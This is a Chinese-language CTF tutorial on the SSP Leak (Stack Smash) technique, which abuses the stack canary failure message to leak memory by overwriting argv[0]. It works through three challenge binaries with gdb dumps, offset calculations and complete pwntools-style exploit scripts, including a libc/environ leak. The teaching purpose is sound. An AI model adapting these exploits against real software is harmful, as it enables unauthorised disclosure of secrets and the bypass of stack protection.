SSP Leak


原理

简介

Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector-fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。

SSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary 值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。

在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。

SSP工作原理

  1. 插入canary

canary插入栈中,一般通过fs/gx寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary值,然后将其插入到栈上与rbp相邻的位置。

该值在函数执行前和返回时都会被检查。

1
2
.text:0000000000401205                 mov     rax, fs:28h
.text:000000000040120E mov [rbp+var_8], rax
  1. 校验canary

程序在结束时会从栈上读取canary的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail函数处理。

1
2
3
4
.text:00000000004012CE                 mov     rcx, [rbp+var_8]
.text:00000000004012D2 xor rcx, fs:28h
.text:00000000004012DB jz short locret_4012E2
.text:00000000004012DD call ___stack_chk_fail
  1. __stack_chk_fail() 函数

__stack_chk_fail函数在canary被篡改后调用,它会输出一串错误信息并终止程序。

输出错误信息时,会打印 argv[0] 的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]的值,就有可能泄露敏感信息。

__stack_chk_fail()函数的源代码

1
2
3
4
5
6
7
8
9
10
11
12
//__attribute__((noreturn))表示该函数不会返回,调用它后程序将终止
void __attribute__((noreturn)) __stack_chk_fail(void) {
//调用函数并传递一个错误消息
__fortify_fail("stack smashing detected");
}

void __attribute__((noreturn)) internal_function __fortify_fail(const char *msg) {
while (1) {
//输出传入的错误消息,以及argv[0]指向的程序名,如果argv[0]为空,则打印unknown
__libc_message(2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ? : "<unknown>");
}
}

SPP Leak 技术

前面我们提到过,可以通过控制argv[0]的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary保护,在CTF比赛中题型比较固定。

  1. 栈溢出

通过栈溢出覆盖缓冲区时,会连带覆盖 canary 值。

  1. 触发错误

当程序检测到 canary 被修改时,它会调用 __stack_chk_fail() 函数,导致程序终止并输出错误信息。

  1. 泄露信息

我们可以通过栈溢出将 argv[0] 覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。

注:libc-2.25启用了一个新的函数__fortify_fail_abort(),试图对该泄露问题进行修复,函数的第一个参数问问false时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>,那么也就无法再进行Leak。

例题

[HNCTF 2022 WEEK3]smash

根据题目名称就可以猜测是要我们通过 smash 的方式利用了

  1. 查保护

发现除了PIE保护,其它保护全开。

1
2
3
4
5
6
➜  smash checksec ./smash
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
  1. 分析

分析程序main函数

程序利用open打开了一个叫flag的文件,然后将flag的内容读取到了bss段变量buf上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
fd = open("flag", 0);
if ( !fd )
{
puts("Open Err0r.");
exit(-1);
}
read(fd, &buf, 0x100uLL);
puts("Good Luck.");
gets(v5);
return 0;
}

查看buf变量

1
2
3
4
.bss:0000000000404060 buf             db    ? ;               ; DATA XREF: main+A0↑o
.bss:0000000000404061 db ? ;
.bss:0000000000404062 db ? ;
.bss:0000000000404063 db ? ;

我们可以通过 SSP Leak将程序读取到buf变量中的内容泄露出来

接下来寻找argv[0]的地址

gdb调试查看栈,栈中的1表示程序参数数量,然后就是程序参数的地址(即argv),因为这个程序只有一个参数,所以只有一个地址。

就是我们要找的argv[0],之后以0为结束符。

1
2
3
4
5
6
40:0200│ r13 0x7fffffffd340 ◂— 1
41:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'
42:0210│+0f0 0x7fffffffd350 ◂— 0
43:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'
44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'
45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')

然后我们将程序跑起来,获取程序输入内容的地址。

输入aaaaaaaa

我们可以看到我们输入的内容已经在栈中。

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771
01:0008-118 0x7fffffffccd8 ◂— 0x300000000
02:0010-110 0x7fffffffcce0 ◂— 'aaaaaaaa'
03:0018-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026
04:0020-100 0x7fffffffccf0 ◂— 0xffffcdd0
05:0028-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff
06:0030-0f0 0x7fffffffcd00 ◂— 0x6562b026
07:0038-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */

根据我们的输入位置和argv[0]的地址来计算偏移。

1
0x7fffffffced8-0x7fffffffcce0=0x1f8

偏移为0x1f8,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=cyclic(504)+p64(0x404060)
r()
s(payload)
ia()

[2021 鹤城杯]easyecho

  1. 查保护

保护全开

1
2
3
4
5
6
➜  [2021 鹤城杯]easyecho checksec ./easyecho
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  1. 分析

分析main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
bool v3; // zf
__int64 v4; // rcx
char *v5; // rsi
const char *v6; // rdi
char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
int (*v9)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]

v11 = __readfsqword(0x28u);
sub_DA0(a1, a2, a3);
sub_F40();
v9 = sub_CF0;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1LL, "Name: ");
sub_E40(v8);
_printf_chk(1LL, "Welcome %s into the server!\n", v8);
do
{
while ( 1 )
{
_printf_chk(1LL, "Input: ");
gets(v10);
_printf_chk(1LL, "Output: %s\n\n", v10);
v4 = 9LL;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
(v9)(v6, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0LL;
}

gdb调试,打个断点到__printf_chk函数,然后让程序运行起来,输入aaaa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
0x555555400af2 call __printf_chk@plt <__printf_chk@plt>
flag: 1
format: 0x55555540108a ◂— 'Welcome %s into the server!\n'
vararg: 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */

0x555555400af7 nop word ptr [rax + rax]
0x555555400b00 lea rsi, [rip + 0x5a0] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] /* 'Input: ' */
0x555555400b07 mov edi, 1 EDI => 1
0x555555400b0c xor eax, eax EAX => 0
0x555555400b0e call __printf_chk@plt <__printf_chk@plt>

0x555555400b13 mov rdi, rbx
0x555555400b16 xor eax, eax EAX => 0
0x555555400b18 call gets@plt <gets@plt>

0x555555400b1d lea rsi, [rip + 0x58b] RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\n\n' */
0x555555400b24 mov edi, 1 EDI => 1
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */
01:00080x7fffffffcef8 ◂— 0
02:00100x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx
03:00180x7fffffffcf08 ◂— 0
04:0020│ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
05:00280x7fffffffcf18 ◂— 0
06:00300x7fffffffcf20 ◂— 1
07:00380x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
0 0x555555400af2
1 0x7ffff7a59730 __libc_start_main+240

在栈上发现了我们输入的内容,并且后面还有一个地址。

通过vmmap指令查看一下为哪个段的地址,发现为可执行段的地址。

1
2
3
4
5
6
pwndbg> vmmap 0x555555400cf0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0
0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho

我们可以通过这个地址减去程序基址获取偏移。

1
p/x 0x555555400cf0-0x555555400000=cf0   

程序通过格式化字符串%s打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。

然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sla(b'Name: ', b'a'*0x10)
ru(b'a'*0x10)
base = u64(r(6).ljust(8, b'\x00')) - 0xcf0
print("base",hex(base))
sla(b'Input: ',b'backdoor\x00')

flag_addr = base + 0x202040
payload = b'a'*0x168 + p64(flag_addr)
sla(b'Input: ', payload)
sla(b'Input: ', b'exitexit')
flag=r()
print(flag)

wdb2018_guess

  1. 查保护

只没有PIE保护

1
2
3
4
5
6
➜  wdb2018_guess checksec ./GUESS
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  1. 分析

一般我们进行Stack smash利用时,程序会直接崩溃退出。

但是在这个程序中的sub_400A11函数fork了三次子进程,所以我们可以执行三次。

1
2
3
4
5
6
7
8
9
__int64 sub_400A11()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

v1 = fork();
if ( v1 == -1 )
err(1, "can not fork");
return v1;
}

泄露libc地址获取environ内容,进而计算flag的地址,

environlibc中的全局变量,指向栈中的环境变量数组。

然后通过将flag地址覆盖为argv[0]地址获取flag

坑点,libc版本

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=b'a'*0x128+p64(elf.got.puts)

sla("flag\n",payload)

puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
environ=base+libc.dump("__environ")
print("environ",hex(environ))

payload=b'a'*0x128+p64(environ)
sl(payload)

environ_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("environ",hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr-0x168)
sl(payload)
ia()